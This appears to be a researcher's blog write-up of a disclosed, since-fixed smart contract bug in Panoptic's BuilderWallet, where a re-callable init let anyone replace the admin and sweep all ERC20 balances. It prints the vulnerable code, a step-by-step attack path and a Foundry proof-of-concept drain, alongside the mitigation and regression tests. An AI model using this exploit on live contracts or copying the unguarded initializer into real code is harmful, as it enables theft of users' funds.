Initialization bugs are dangerous because deployment can look completely successful while the contract remains open to a later takeover.
That was the issue in Panoptic's BuilderWallet.
Each wallet stored a privileged builderAdmin. That address alone could call sweep, the function used to withdraw ERC20 balances accumulated by the wallet.
The factory deployed each wallet through CREATE2 and immediately initialized the intended builder admin. The initial setup worked.
The problem was that initialization never became final.
init had no one-time guard. Any account could call it again, replace the legitimate admin, and then pass the normal authorization check inside sweep.
An attacker could wait until builder fees accumulated, take over the wallet, and transfer its complete ERC20 balance.
Code4rena included the issue as H-01 in the final Panoptic: Next Core report and kept it at High severity. My submission was listed among the researchers who found it, but my contest dashboard showed no earnings.

The public finding is available in the Code4rena final report.
The intended wallet lifecycle
The system used deterministic builder wallets as recipients for builder fee balances.
The expected lifecycle was:
Deploy the wallet
Assign the builder admin
Accumulate ERC20 builder fees
Allow the builder to sweep those fees
BuilderFactory.deployBuilder created the wallet and then called init with the intended admin:
function deployBuilder(
uint48 builderCode,
address builderAdmin
)
external
onlyOwner
returns (address wallet)
{
bytes32 salt =
bytes32(uint256(builderCode));
bytes memory initCode =
abi.encodePacked(
type(BuilderWallet).creationCode,
abi.encode(address(this))
);
wallet =
Create2Lib.deploy(
0,
salt,
initCode
);
BuilderWallet(wallet)
.init(builderAdmin);
}
Source: RiskEngine.sol
The factory performed the initial call in the same transaction as deployment.
That prevented an attacker from inserting a transaction between wallet creation and the factory's first initialization.
It did not prevent a later reinitialization.
The initializer never closed
The vulnerable function was:
function init(
address _builderAdmin
) external {
builderAdmin =
_builderAdmin;
}
Source: RiskEngine.sol
The assignment correctly wrote _builderAdmin into storage.
The vulnerability was not a failed assignment.
The vulnerability was the absence of a terminal initialized state.
The function did not require:
builderAdmin == address(0)
It also did not authenticate the caller.
The state could therefore change repeatedly:
Initial builderAdmin
address(0)
Factory calls init(builder)
Stored builderAdmin
builder
Attacker calls init(attacker)
Stored builderAdmin
attacker
Another account calls init(other)
Stored builderAdmin
other
The admin role remained publicly replaceable for the lifetime of the wallet.
Why the successful factory call did not make the wallet safe
Calling an initializer during deployment is safe only when the initializer cannot be called again.
Here, the factory successfully assigned the legitimate builder.
The wallet ended the deployment transaction in the expected state:
builderAdmin
Legitimate builder
But the next transaction could replace it:
builderAdmin
Attacker
The attacker did not need to front-run deployment.
They could wait until the wallet held a valuable ERC20 balance and take over only when theft became profitable.
sweep trusted the replaceable role
The withdrawal path checked only whether the caller matched the stored admin:
function sweep(
address token,
address to
) external {
if (
msg.sender != builderAdmin
) {
revert Errors.NotBuilder();
}
uint256 balance =
IERC20(token)
.balanceOf(address(this));
if (balance == 0) return;
bool success =
IERC20(token)
.transfer(to, balance);
if (!success) {
revert Errors.TransferFailed(
token,
address(this),
balance,
balance
);
}
}
Source: RiskEngine.sol
The authorization check inside sweep was internally consistent.
The failure happened one step earlier: an arbitrary account could control the value against which that check was evaluated.
After calling init(attacker), the attacker did not bypass sweep.
They became the address that sweep considered authorized.
The complete attack path
The exploit required two public calls after funds had accumulated:
1. The factory deploys a BuilderWallet
2. The factory initializes the legitimate builder admin
3. ERC20 builder fees accumulate in the wallet
4. The attacker calls init(attacker)
5. builderAdmin is overwritten
6. The attacker calls sweep(token, attacker)
7. The entire ERC20 balance is transferred to the attacker
The attacker did not require:
Factory ownership
Builder credentials
Governance control
A forged signature
Reentrancy
Oracle manipulation
A deployment race
The wallet exposed the role replacement directly.
A corrected Foundry proof
The important proof condition is that the factory's initialization succeeds first.
The attacker then overwrites that valid admin and drains the wallet:
function test_AttackerReinitializesAndSweeps()
external
{
uint48 builderCode = 1;
address legitimateBuilder =
address(0xBEEF);
address attacker =
address(0xBAD);
address walletAddress =
factory.deployBuilder(
builderCode,
legitimateBuilder
);
BuilderWallet wallet =
BuilderWallet(walletAddress);
assertEq(
wallet.builderAdmin(),
legitimateBuilder
);
uint256 amount = 100e18;
token.mint(
walletAddress,
amount
);
vm.prank(attacker);
wallet.init(attacker);
assertEq(
wallet.builderAdmin(),
attacker
);
vm.prank(attacker);
wallet.sweep(
address(token),
attacker
);
assertEq(
token.balanceOf(walletAddress),
0
);
assertEq(
token.balanceOf(attacker),
amount
);
}
This demonstrates:
The factory initialized the intended builder
YES
The attacker replaced that builder
YES
The attacker passed the normal sweep check
YES
The attacker received the complete ERC20 balance
YES
Why deterministic deployment did not help
CREATE2 made wallet addresses predictable from the factory, salt, and init code.
That predictability was useful because the protocol could determine a builder fee destination in advance.
It did not protect mutable authorization state.
A predictable address can even make monitoring easier:
Derive builder wallet addresses
Watch for valuable token balances
Reinitialize a funded wallet
Sweep its assets
The security boundary still depended on making init final.
The immutable factory did not enforce initialization
BuilderWallet stored its deploying factory as an immutable address:
address public immutable FACTORY;
But the vulnerable init function did not use FACTORY.
This illustrates a broader audit lesson:
A trusted address stored in the contract does not create access control unless privileged functions enforce it.
In this design, factory-only initialization would have been a valid defense-in-depth measure.
However, because deployment and the factory's initial init call occurred atomically in one transaction, the minimum accepted correction was to prevent every subsequent initialization.
Why High severity was appropriate
The impact was direct theft of ERC20 balances held by builder wallets.
Once a wallet was funded, an unprivileged attacker could replace its admin and transfer the complete balance to any address.
The risk profile was:
Affected assets
ERC20 balances held by BuilderWallet
Attacker privileges
None
Maximum loss per wallet
Complete wallet balance
Required calls after funding
Two
External dependency
None
The Code4rena final report described the impact as direct theft of all ERC20 balances held by any builder wallet, including protocol distributed fees and shares.
The finding remained High in the final results.
What the bug was not
The public audited implementation used _builderAdmin:
function init(
address _builderAdmin
) external {
builderAdmin =
_builderAdmin;
}
Therefore, the assignment did write to storage.
A different implementation using:
function init(
address builderAdmin
) external {
builderAdmin =
builderAdmin;
}
would contain parameter shadowing and fail to initialize storage.
That was not the accepted Panoptic issue.
Renaming the parameter would not have fixed the real vulnerability.
The actual problem was unrestricted repeated initialization.
The implemented mitigation
Panoptic fixed the finding by making initialization one time and rejecting the zero address:
function init(
address _builderAdmin
) external {
if (
builderAdmin != address(0)
) {
revert Errors.AlreadyInitialized();
}
if (
_builderAdmin == address(0)
) {
revert Errors.ZeroAddress();
}
builderAdmin =
_builderAdmin;
}
The mitigation also introduced a separate admin rotation function restricted to the current builder admin:
function setBuilderAdmin(
address newAdmin
) external {
if (
msg.sender != builderAdmin
) {
revert Errors.NotBuilder();
}
if (
newAdmin == address(0)
) {
revert Errors.ZeroAddress();
}
builderAdmin =
newAdmin;
}
The mitigation was reviewed and confirmed in commit 249fb90.
This preserves deliberate admin rotation without leaving the initializer publicly reusable.
Optional defense in depth
The one time guard closes the accepted exploit because the factory initializes the wallet atomically during deployment.
The protocol could additionally require:
if (
msg.sender != FACTORY
) {
revert Errors.NotFactory();
}
That would bind the first initialization to the intended deployer.
It is useful defense in depth, particularly if wallets can ever be deployed outside the standard factory flow.
The essential invariant remains that a successful initialization cannot be repeated.
Required regression tests
The mitigation review added tests for repeated initialization, zero address rejection, and authorized admin rotation.
A complete suite should preserve these outcomes:
Factory initializes a fresh wallet
SUCCEEDS
Any account calls init after initialization
REVERTS
Initialization with the zero address
REVERTS
Current builder changes the admin
SUCCEEDS
Unrelated account changes the admin
REVERTS
Configured builder calls sweep
SUCCEEDS
Unrelated account calls sweep
REVERTS
A funded wallet should remain under the control of the legitimate admin throughout every negative test.
Broader audit lessons
Successful initialization is not final initialization
A deployment can call init successfully and still remain vulnerable.
Initialization needs a terminal state.
Review role assignment before role enforcement
sweep checked the stored admin correctly.
That check was still unsafe because anyone could replace the stored admin.
Authorization review must trace both:
Who can exercise the role
Who can assign or replace the role
Atomic setup does not protect future calls
Deploying and initializing in one transaction prevents front running during setup.
It does not protect an initializer that remains callable afterward.
Deterministic addresses increase the value of monitoring
Predictable wallets make legitimate fee routing easier.
They also make it easier to identify funded targets if authorization is weak.
Always test the second initialization
Initializer tests often verify only that the first call succeeds.
The critical negative test is:
Can another account call it again?
Conclusion
Panoptic's factory deployed each BuilderWallet and correctly assigned the intended builder admin.
The vulnerability was that initialization never became final.
Any account could later call:
wallet.init(attacker);
replace the legitimate admin, and then use the normal withdrawal path:
wallet.sweep(token, attacker);
to transfer the entire ERC20 balance.
Code4rena included the issue as H-01, kept it at High severity, and confirmed Panoptic's mitigation.
The engineering invariant is simple:
A privileged initializer must become permanently unavailable after the first successful initialization.
Top comments (0)